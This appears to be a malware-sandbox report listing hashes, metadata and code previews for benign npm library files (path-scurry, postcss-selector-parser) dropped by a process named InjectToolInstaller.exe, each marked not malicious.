MD5:	6DA76CA7DB40A13B2EDC8C53B7D58F53
SHA1:	43DA5A13DDE43627B01A027FA6271A1C1219539D
SHA-256:	C2CC18DE6310E97FE3D9C3850C028918C78054D8C79A1CDE825C7BF0BBCBD73C
SHA-512:	994A4B0B4E9BC8D11561F60D28D2CEB738456E84EDE9B7A3501399F4E6C016E0BA0459096068DC637B4518F0A6B26F64141AE32428CABA918AADB3CAB9ACA47B
Malicious:	false
Preview:	"use strict";.var __createBinding = (this && this.__createBinding) \|\| (Object.create ? (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. var desc = Object.getOwnPropertyDescriptor(m, k);. if (!desc \|\| ("get" in desc ? !m.__esModule : desc.writable \|\| desc.configurable)) {. desc = { enumerable: true, get: function() { return m[k]; } };. }. Object.defineProperty(o, k2, desc);.}) : (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. o[k2] = m[k];.}));.var __setModuleDefault = (this && this.__setModuleDefault) \|\| (Object.create ? (function(o, v) {. Object.defineProperty(o, "default", { enumerable: true, value: v });.}) : function(o, v) {. o["default"] = v;.});.var __importStar = (this && this.__importStar) \|\| function (mod) {. if (mod && mod.__esModule) return mod;. var result = {};. if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);. __setModuleDef

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-scurry\dist\cjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.783465189601646
Encrypted:	false
SSDEEP:	3:f8fkEKLSYv:fUKLSC
MD5:	DF9FFC6AA3F78A5491736D441C4258A8
SHA1:	9D0D83AE5D399D96B36D228E614A575FC209D488
SHA-256:	8005A3491DB7D92F36AC66369861589F9C47123D3A7C71E643FC2C06168CD45A
SHA-512:	6C58939DA58F9B716293A8328F7A3649B6E242BF235FAE00055A0CC79FB2788E4A99DFAA422E0CFADBE84E0D5E33B836F68627E6A409654877EDC443B94D04C4
Malicious:	false
Preview:	{. "type": "commonjs".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-scurry\dist\mjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	64089
Entropy (8bit):	4.346744242024962
Encrypted:	false
SSDEEP:	768:qtiTXwHeI4K/KqRJ3isMiSkUQW+3AVkxe9QtQPE+wOa+lmUL2QNA9udylQT4:qM8WyrMipb7wCxYrzlI
MD5:	6A71863F4C7E0DF1EF657A5F319C6E12
SHA1:	64AFC3F6F14289B2DF71B41F33DA1E6011FEECEE
SHA-256:	D94B35D707175B6D07A888508EB31406E39409AA8A124D538CE3A8CDB329BCE4
SHA-512:	7CF473094C6BBBFBEC6FBC5FAB720921DF48A9E205016050012D8DDA0EF355E26A45480F8793E062968C0996917973C84C4116E251B7F7546D21443C9CBC4AD8
Malicious:	false
Preview:	import { LRUCache } from 'lru-cache';.import { posix, win32 } from 'path';.import { fileURLToPath } from 'url';.import * as actualFS from 'fs';.import { lstatSync, readdir as readdirCB, readdirSync, readlinkSync, realpathSync as rps, } from 'fs';.const realpathSync = rps.native;.// TODO: test perf of fs/promises realpath vs realpathCB,.// since the promises one uses realpath.native.import { lstat, readdir, readlink, realpath } from 'fs/promises';.import { Minipass } from 'minipass';.const defaultFS = {. lstatSync,. readdir: readdirCB,. readdirSync,. readlinkSync,. realpathSync,. promises: {. lstat,. readdir,. readlink,. realpath,. },.};.// if they just gave us require('fs') then use our default.const fsFromOption = (fsOption) => !fsOption \|\| fsOption === defaultFS \|\| fsOption === actualFS. ? defaultFS. : {. ...defaultFS,. ...fsOption,. promises: {. ...defaultFS.promises,. ...(fsOption.prom

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-scurry\dist\mjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.675310868912364
Encrypted:	false
SSDEEP:	3:f8fqKBYn:f4Yn
MD5:	D0707362E90F00EDD12435E9D3B9D71C
SHA1:	50FAEB965B15DFC6854CB1235B06DBB5E79148D2
SHA-256:	3CA9D4AFD21425087CF31893B8F9F63C81B0B8408DB5E343CA76E5F8AA26AB9A
SHA-512:	9D323420CC63C6BEE79DCC5DB5F0F18F6B8E073DAAF8FFA5459E11F2DE59A9F5E8C178D77FA92AFC9DDD352623DEC362C62FFF859C71A2FAB93F1E2172C4987F
Malicious:	false
Preview:	{. "type": "module".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\path-scurry\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2169
Entropy (8bit):	4.701421070125841
Encrypted:	false
SSDEEP:	48:bsdyHgkJ4T4g1q94O4v6n/FQEjocVu7/YPFDW2yY82zOqZAXr:5Ji91qsv6PcjUyY8tqZAXr
MD5:	83E854A9093200A7FC978812DDA7DA46
SHA1:	06CFB9610D73945ED2092BF9573717442FCADF79
SHA-256:	0B9C8B1344121C065650E5ADD8E44258F2193F50CF214A642A707D266109540A
SHA-512:	7800DCC354757B8BB7DE5E11931342E1D7FBAE0C4923D779CFE6A4CA95BFAC80120D510EF0E3FB10158BE26BEE1A5D4B1B9FC155FAD5C014B6101D0C9BD1DB87
Malicious:	false
Preview:	{. "name": "path-scurry",. "version": "1.10.1",. "description": "walk paths fast and efficiently",. "author": "Isaac Z. Schlueter <i@izs.me> (https://blog.izs.me)",. "main": "./dist/cjs/index.js",. "module": "./dist/mjs/index.js",. "exports": {. ".": {. "import": {. "types": "./dist/mjs/index.d.ts",. "default": "./dist/mjs/index.js". },. "require": {. "types": "./dist/cjs/index.d.ts",. "default": "./dist/cjs/index.js". }. }. },. "files": [. "dist". ],. "license": "BlueOak-1.0.0",. "scripts": {. "preversion": "npm test",. "postversion": "npm publish",. "prepublishOnly": "git push origin --follow-tags",. "preprepare": "rm -rf dist",. "prepare": "tsc -p tsconfig.json && tsc -p tsconfig-esm.json",. "postprepare": "bash ./scripts/fixup.sh",. "pretest": "npm run prepare",. "presnap": "npm run prepare",. "test": "c8 tap",. "snap": "c8 tap",. "format": "prettier --write . --loglevel warn",.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\API.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21002
Entropy (8bit):	4.801032361127471
Encrypted:	false
SSDEEP:	384:k8+Hn4XtsjkGWZqJdPvYiev0OjS8OKJ2NkGLeEDMml01LZ91C8:k5H4XVY8iev0OjS89J2aGLeEDMml01R7
MD5:	FDA8C7E0330F125DD1C89E8175255676
SHA1:	E3DC8CC2FABC31722374719E059066CE970A6CFB
SHA-256:	8A4FAF30DE19D99DCEF9E193977C351375A9A1860FBBBD0FFF00421CE4795EDF
SHA-512:	B2612E31F8E5323781D0B34593FCFB9DA22BBB858FC2E7E288DE5F09DB72E3B42BA836BF2B80FC9B17F2AE8D301E4F6FAFB479BEBA7E827FCF259BFCB0AAC2BF
Malicious:	false
Preview:	# API Documentation..Please use only this documented API when working with the parser. Methods.not documented here are subject to change at any point...## `parser` function..This is the module's main entry point...```js.const parser = require('postcss-selector-parser');.```..### `parser([transform], [options])`..Creates a new `processor` instance..```js.const processor = parser();.```..Or, with optional transform function..```js.const transform = selectors => {. selectors.walkUniversals(selector => {. selector.remove();. });.};..const processor = parser(transform)..// Example.const result = processor.processSync('.class');.// => .class.```..[See processor documentation](#processor)..Arguments:.. `transform (function)`: Provide a function to work with the parsed AST..* `options (object)`: Provide default options for all calls on the returned `Processor`...### `parser.attribute([props])`..Creates a new attribute selector...```js.parser.attribute({attribute: 'href'});.//

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (809)
Category:	dropped
Size (bytes):	1684
Entropy (8bit):	4.971679986555354
Encrypted:	false
SSDEEP:	48:4sfAD2A6GMp6k5DckSZe0xjCzaqo5E+RyEGU0eLFXKqX9XM:4sf22lGMp6k58FetoyjELttXM
MD5:	917B7DB70F99D38C82CCD50FCF925C35
SHA1:	FAF36817CE25FAD362F1CDADCD099144DD3312F2
SHA-256:	7EC70D8AD4116EFC9BCB5240F6685DBB70102EFECA742811B01AAEB1FD43ED8D
SHA-512:	A4197AEA85B810019ADA25ADAB0F98898C5A7C0E41400C54AE3821069086CFAB40E2F5BC79967CA359D6F606DE3E8F62CCBF7DE50A3F2F2F72F8A532E9D44194
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _processor = _interopRequireDefault(require("./processor"));.var selectors = _interopRequireWildcard(require("./selectors"));.function _getRequireWildcardCache(nodeInterop) { if (typeof WeakMap !== "function") return null; var cacheBabelInterop = new WeakMap(); var cacheNodeInterop = new WeakMap(); return (_getRequireWildcardCache = function _getRequireWildcardCache(nodeInterop) { return nodeInterop ? cacheNodeInterop : cacheBabelInterop; })(nodeInterop); }.function _interopRequireWildcard(obj, nodeInterop) { if (!nodeInterop && obj && obj.__esModule) { return obj; } if (obj === null \|\| typeof obj !== "object" && typeof obj !== "function") { return { "default": obj }; } var cache = _getRequireWildcardCache(nodeInterop); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (key !== "

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\parser.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (809)
Category:	dropped
Size (bytes):	38824
Entropy (8bit):	4.799914974349548
Encrypted:	false
SSDEEP:	768:XpbJRPwIFEJX+Qa5Ecx6x/oSOTU1sm9bi8lg7g2q9vh2VH:XpbMxjgE9J2t
MD5:	E030837C4A2A8DBE99BBC614352E7026
SHA1:	2B0E2B8C8C18DC697AC984F33FAB5653D9113DEF
SHA-256:	6086D51F95547D5371D0F9C9D5ECE727BABE78E4FF314EDAF7AADCFCF9FA0E26
SHA-512:	34266F7F3BCA07FE515AC00B08B8720C41EE576F09F5060339EC3B7D5746318D92A57AA136AD6A1083E154A877A2842EF293653D69269216289322DE847A84BC
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _root = _interopRequireDefault(require("./selectors/root"));.var _selector = _interopRequireDefault(require("./selectors/selector"));.var _className = _interopRequireDefault(require("./selectors/className"));.var _comment = _interopRequireDefault(require("./selectors/comment"));.var _id = _interopRequireDefault(require("./selectors/id"));.var _tag = _interopRequireDefault(require("./selectors/tag"));.var _string = _interopRequireDefault(require("./selectors/string"));.var _pseudo = _interopRequireDefault(require("./selectors/pseudo"));.var _attribute = _interopRequireWildcard(require("./selectors/attribute"));.var _universal = _interopRequireDefault(require("./selectors/universal"));.var _combinator = _interopRequireDefault(require("./selectors/combinator"));.var _nesting = _interopRequireDefault(require("./selectors/nesting"));.var _sortAscending = _interopRequireDefault(require("./sortAscending"));.var _tokeni

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\processor.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5210
Entropy (8bit):	4.501433825223546
Encrypted:	false
SSDEEP:	96:4sJ5boRh0Nc1Rh0NcVlGRh0zLCIvfhh0QssbcemqYRh0ncJ1h0QAclIxIjrIepIP:ZboRh0Nc1Rh0NcVlGRh0zWIvfhh0QssL
MD5:	EEB91DE4CA8DBFC417077EEADCAB7E31
SHA1:	7B40423B58DD43853BBF0934AFC40C0E9A62CB06
SHA-256:	4A7B6D47076D57D9D14FA818D3DEFDECBC7EBE00975ACCBC08D73AC9F6849D47
SHA-512:	B84050BB5C8DDFB38F7269FC81417092FD1FE80F5C19E20E20E65976DC40B38754F37B19FACD9653135AFDF4FA1FD2570DFD189AF8B28162E97EF7B798569BF0
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _parser = _interopRequireDefault(require("./parser"));.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.var Processor = /#__PURE__/function () {. function Processor(func, options) {. this.func = func \|\| function noop() {};. this.funcRes = null;. this.options = options;. }. var _proto = Processor.prototype;. _proto._shouldUpdateSelector = function _shouldUpdateSelector(rule, options) {. if (options === void 0) {. options = {};. }. var merged = Object.assign({}, this.options, options);. if (merged.updateSelector === false) {. return false;. } else {. return typeof rule !== "string";. }. };. _proto._isLossy = function _isLossy(options) {. if (options === void 0) {. options = {};. }. var merged = Object.assign({}, this.options, options);. if (merged.lossless === false) {. return true;. } else {

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\attribute.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (317)
Category:	dropped
Size (bytes):	16847
Entropy (8bit):	4.779874312550322
Encrypted:	false
SSDEEP:	384:lhKRPRB72ciVzHd79kRIPQ64wQj9OoVfQSAIGpFQ5VxyZCRNAMhi3pSK:jKRP77DiVzHd9kq74wQj9j+Q5VxtRG9P
MD5:	D7531BBAF3301873C635833E7153B01F
SHA1:	AC433BC369D2278E2991CC316B5DEF6E7E231C32
SHA-256:	A6F8D7A3874CB7ACF3042728769372BD78B1B520461B68188477BA05F0F0E9F4
SHA-512:	FA1DB4BF227F7B264F02381E2817BE318FCB413C72649E0B2EC617ADD8C308C267FFF6D74B2F6DB63AD6B5E95628693A367399FFD22E0A4DE96869DB27F14337
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.exports.unescapeValue = unescapeValue;.var _cssesc = _interopRequireDefault(require("cssesc"));.var _unesc = _interopRequireDefault(require("../util/unesc"));.var _namespace = _interopRequireDefault(require("./namespace"));.var _types = require("./types");.var _CSSESC_QUOTE_OPTIONS;.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable \|\| false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }.function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor,

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\className.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (317)
Category:	dropped
Size (bytes):	2346
Entropy (8bit):	4.833428301730698
Encrypted:	false
SSDEEP:	48:4sW04mGU0XwABut2jtPRl05AArEHbMKFKsvOsREVytPaesl6eGhhaW7c2M:4sWj82jtPRB7MeDREVytiesoeGhhaWAd
MD5:	2DA231F4CB5E4D23B98484C508D39560
SHA1:	0AA0BB7896A14591935B82EA1C683B0E724F6F28
SHA-256:	449ADB6ECD5CAF5883A25A420CFE96E3E0E54F5E8A8C087F91D1A73C7B79C965
SHA-512:	9C6B59A4C616368C4C2938B50084356A2E77F55E4E49ADD5F99963596117BA0ECFAD891A8156390CFF989F3FBC4488900C9CC51CEFF10081EC776FDC25D7F90D
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _cssesc = _interopRequireDefault(require("cssesc"));.var _util = require("../util");.var _node = _interopRequireDefault(require("./node"));.var _types = require("./types");.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable \|\| false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }.function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }.function _inheritsLoose(subClass, superClass) { su

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\combinator.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	989
Entropy (8bit):	4.9430594799118746
Encrypted:	false
SSDEEP:	24:4s/52mGIH0pFONYchaArEHb793aFKsvReIR1D7Bm:4s/4mGU0X05AArEHb70FKsvReIRV7M
MD5:	A4402B7B4D35D136AECF7B827C89323A
SHA1:	2A0B2A2BE91765234A3797B2AAD7B36523EEA6A8
SHA-256:	1750668A7A9CD6AA58DE63D1B547C7B7D67454B00071BD0D2D9334D948E3CBA5
SHA-512:	0BBC592033266CF39E1CEAC4778F58594636EEB1B54EC453A1CE039D8BF25A726E7DC3D1D8C415B48555BABC1A124BFC44D6744AB3B58F3A8192B009C08D9056
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _node = _interopRequireDefault(require("./node"));.var _types = require("./types");.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(superClass.prototype); subClass.prototype.constructor = subClass; _setPrototypeOf(subClass, superClass); }.function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }.var Combinator = /#__PURE__/function (_Node) {. _inheritsLoose(Combinator, _Node);. function Combinator(opts) {. var _this;. _this = _Node.call(this, opts) \|\| this;. _this.type = _types.COMBINATOR;. return _this;. }. return Combinator;.}(_node["default"]);.exports["default"] = Combinator;.module.exports = exports.default;

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\comment.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	971
Entropy (8bit):	4.930770219957097
Encrypted:	false
SSDEEP:	24:4s/52mGIH0pFONYchaArEHbuMS9aFKsv9oRWDnABm:4s/4mGU0X05AArEHbuMlFKsvyRUAM
MD5:	EF28859040EBAB95E1C85CDF1C0D7DCC
SHA1:	AE09EEB0F4ADD80FF8F34F8509F85F12C722014A
SHA-256:	174CF0FD0FFABB785E2FA5F586EB01FCC64905FDA99A167963C23712F85FCCA0
SHA-512:	72122783B7799528212DD46DCE4CA61E57B345D284D82862081ADB6886E89B28CF13CCE143CF54976BCDF62DE4B580BD88A71C35DE9DA46FC873D2CF81489B54
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _node = _interopRequireDefault(require("./node"));.var _types = require("./types");.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(superClass.prototype); subClass.prototype.constructor = subClass; _setPrototypeOf(subClass, superClass); }.function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }.var Comment = /#__PURE__/function (_Node) {. _inheritsLoose(Comment, _Node);. function Comment(opts) {. var _this;. _this = _Node.call(this, opts) \|\| this;. _this.type = _types.COMMENT;. return _this;. }. return Comment;.}(_node["default"]);.exports["default"] = Comment;.module.exports = exports.default;

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\constructors.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2371
Entropy (8bit):	4.759926895279846
Encrypted:	false
SSDEEP:	48:4sNKeKnYcrXElGU0dE+Gifr/FiirWM7HBkljiMBDFHkh7En:4s+YH+GWz4irW2HBkl5JVk9E
MD5:	6B0AF2D0D827EA6D4AC97852CB85848A
SHA1:	7067B513A7BA4DA81931F6FB11AD11C1A823D6F8
SHA-256:	EB3E007743C21134BA2F67951FB1082B9368D3ED501A952411E2F4B7B4904A5B
SHA-512:	9D7D00721411AD99E9BCB2440F32608BCFF8589FBA296711F21D3F259EC774FA01FFA455D39653773A4E96485FB5FBC4EA29644EBF87C9D8F96268ACB8C37AEA
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports.universal = exports.tag = exports.string = exports.selector = exports.root = exports.pseudo = exports.nesting = exports.id = exports.comment = exports.combinator = exports.className = exports.attribute = void 0;.var _attribute = _interopRequireDefault(require("./attribute"));.var _className = _interopRequireDefault(require("./className"));.var _combinator = _interopRequireDefault(require("./combinator"));.var _comment = _interopRequireDefault(require("./comment"));.var _id = _interopRequireDefault(require("./id"));.var _nesting = _interopRequireDefault(require("./nesting"));.var _pseudo = _interopRequireDefault(require("./pseudo"));.var _root = _interopRequireDefault(require("./root"));.var _selector = _interopRequireDefault(require("./selector"));.var _string = _interopRequireDefault(require("./string"));.var _tag = _interopRequireDefault(require("./tag"));.var _universal = _interopRequireDefault(require("./universal"));.function _inte

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\container.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (809)
Category:	dropped
Size (bytes):	11850
Entropy (8bit):	4.803512069471081
Encrypted:	false
SSDEEP:	192:l9p6k5yePksCpwcn4Qfb3RPRB7sFQRB7WkQsiQD5F0ab1iQWP3iQ80pEUaYH0N19:lL95JMsCetM3RPRB7T1b4lTTeiM
MD5:	73C9F817C5301430FF5063131E153002
SHA1:	74810D747BF6DE365D95A08D2247069543714768
SHA-256:	AA1C4617A87FB4A59ECA720ABA439CAC3970DF728FD827B5C4B615768E110CE7
SHA-512:	BB6AAEE00B9794AED9DB5BFC1400CE9B3F8D01407131E81B3FCB1BB95715E166AB09923A82A4045507E62559C1F4F265F5914E59B932429F6C86FB82D92996A3
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _node = _interopRequireDefault(require("./node"));.var types = _interopRequireWildcard(require("./types"));.function _getRequireWildcardCache(nodeInterop) { if (typeof WeakMap !== "function") return null; var cacheBabelInterop = new WeakMap(); var cacheNodeInterop = new WeakMap(); return (_getRequireWildcardCache = function _getRequireWildcardCache(nodeInterop) { return nodeInterop ? cacheNodeInterop : cacheBabelInterop; })(nodeInterop); }.function _interopRequireWildcard(obj, nodeInterop) { if (!nodeInterop && obj && obj.__esModule) { return obj; } if (obj === null \|\| typeof obj !== "object" && typeof obj !== "function") { return { "default": obj }; } var cache = _getRequireWildcardCache(nodeInterop); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (key !== "default" && Object

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\guards.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (428)
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	5.140255781906298
Encrypted:	false
SSDEEP:	48:4sgE7EiCac8xSfIb+KRkNbMSkPzmhPbCZ0kbnwkjYgkRhJxFekiekcJVDkZJk7t+:4sgE7EiCac8wyzxCWnwIVShvsdeln+JP
MD5:	315C3088FDE5794076FC536C3A8A8AF2
SHA1:	31C4DCE84E4669C33249A51F1732D59354619DEE
SHA-256:	6A5952B48B08FAA511E48D98455FAD4D96B0911D2AD9EE25D68F8027DE9A437F
SHA-512:	305CC80F1E51385BE166D40594E6008DE61E12DF7F5E44CC528B7A68BA03C89B11F845DE41FD50656130C3B6369DFA15B1B5A013DDBA9CDDFC9C998AF835A57F
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports.isComment = exports.isCombinator = exports.isClassName = exports.isAttribute = void 0;.exports.isContainer = isContainer;.exports.isIdentifier = void 0;.exports.isNamespace = isNamespace;.exports.isNesting = void 0;.exports.isNode = isNode;.exports.isPseudo = void 0;.exports.isPseudoClass = isPseudoClass;.exports.isPseudoElement = isPseudoElement;.exports.isUniversal = exports.isTag = exports.isString = exports.isSelector = exports.isRoot = void 0;.var _types = require("./types");.var _IS_TYPE;.var IS_TYPE = (_IS_TYPE = {}, _IS_TYPE[_types.ATTRIBUTE] = true, _IS_TYPE[_types.CLASS] = true, _IS_TYPE[_types.COMBINATOR] = true, _IS_TYPE[_types.COMMENT] = true, _IS_TYPE[_types.ID] = true, _IS_TYPE[_types.NESTING] = true, _IS_TYPE[_types.PSEUDO] = true, _IS_TYPE[_types.ROOT] = true, _IS_TYPE[_types.SELECTOR] = true, _IS_TYPE[_types.STRING] = true, _IS_TYPE[_types.TAG] = true, _IS_TYPE[_types.UNIVERSAL] = true, _IS_TYPE);.function isNode(node)

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\id.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1086
Entropy (8bit):	4.960833102095055
Encrypted:	false
SSDEEP:	24:4s/52mGIH0pFONYchaArEHbmmGraFKsvrgR6VzymtypmRaDV6Bm:4s/4mGU0X05AArEHbk+FKsvsRKzVyUqv
MD5:	B612F7A378AC939761116CC15AF4A2FA
SHA1:	60C11C605B9B27BCDFF37E93071390750B9D2121
SHA-256:	09C5CAE8EB7568C4526CE6CF09871F7694C77DB7094E3CF01893A9998B0155A0
SHA-512:	D1113F841803C0F2B4BC0C440108D4E94E09DCCE36F1CE7E9552000A09CE1392B2A236ED2EEDEEC9013E69F52D9BF052C2CBD760276236C14399170F815C3396
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.exports["default"] = void 0;.var _node = _interopRequireDefault(require("./node"));.var _types = require("./types");.function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }.function _inheritsLoose(subClass, superClass) { subClass.prototype = Object.create(superClass.prototype); subClass.prototype.constructor = subClass; _setPrototypeOf(subClass, superClass); }.function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }.var ID = /#__PURE__/function (_Node) {. _inheritsLoose(ID, _Node);. function ID(opts) {. var _this;. _this = _Node.call(this, opts) \|\| this;. _this.type = _types.ID;. return _this;. }. var _proto = ID.prototype;. _proto.valueToString = function valueToString() {. return '#' + _Node.prototype.valueToString.call(this);. };. retu

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	774
Entropy (8bit):	4.810858641884499
Encrypted:	false
SSDEEP:	24:4O2FRBQlqwL/r9Ha/7BQlqwV/rn9L2KBQlqwC/rCf:4vFRa5LTG7a5VT9L2Ka5CTm
MD5:	4CADD48D0EA705C6A2FACC59C998CD34
SHA1:	12DDF80A69742DBB23D8936BED7AFC907B922AB1
SHA-256:	F5CD41186CF69D040C5F84CA1690842EF815B315F60973B88CDF8B3FF14C5302
SHA-512:	C3C792776ABC35FCB6706270AC4B02AD67C8BEDB826E4DFFA24C78A22055D1AA77DC851018DFA87CE48B17E2893A32F463CCE03A010C84DCDBFC692BD7433605
Malicious:	false
Preview:	"use strict";..exports.__esModule = true;.var _types = require("./types");.Object.keys(_types).forEach(function (key) {. if (key === "default" \|\| key === "__esModule") return;. if (key in exports && exports[key] === _types[key]) return;. exports[key] = _types[key];.});.var _constructors = require("./constructors");.Object.keys(_constructors).forEach(function (key) {. if (key === "default" \|\| key === "__esModule") return;. if (key in exports && exports[key] === _constructors[key]) return;. exports[key] = _constructors[key];.});.var _guards = require("./guards");.Object.keys(_guards).forEach(function (key) {. if (key === "default" \|\| key === "__esModule") return;. if (key in exports && exports[key] === _guards[key]) return;. exports[key] = _guards[key];.});

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\postcss-selector-parser\dist\selectors\namespace.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (317)
Category:	dropped
Size (bytes):	3061
Entropy (8bit):	4.728058446109981
Encrypted:	false
SSDEEP:	48:4sWkUGU0XwABut2jtPRl05AArEHb01R3s+8lVyxziUSPRZ3/2qklfe2Pv+2jA9cp:4sWkO2jtPRB701R3sxVyxz3SPRZ3/2q0
MD5:	58ADAD20548FC45AD95FEA9761C8BB14
SHA1:	0F04FFFAC04B4D4F310006CA7D5B30F6670E1226
SHA-256:	B96A0FF0E14B73CC8E001E4F9EC6D3CCF7D6A0E182DF68066F176BA37F2D03F1
SHA-512:	1B475D3DD27F4F2C2A7A0A0CE782F42159443C15A081AC362A6F7B3BBBEEA58BF338200B3CBDB77CC709D8E3CD418091DEBBB65EAD62A54EBE65C7DFAE368F3F
Malicious:	false
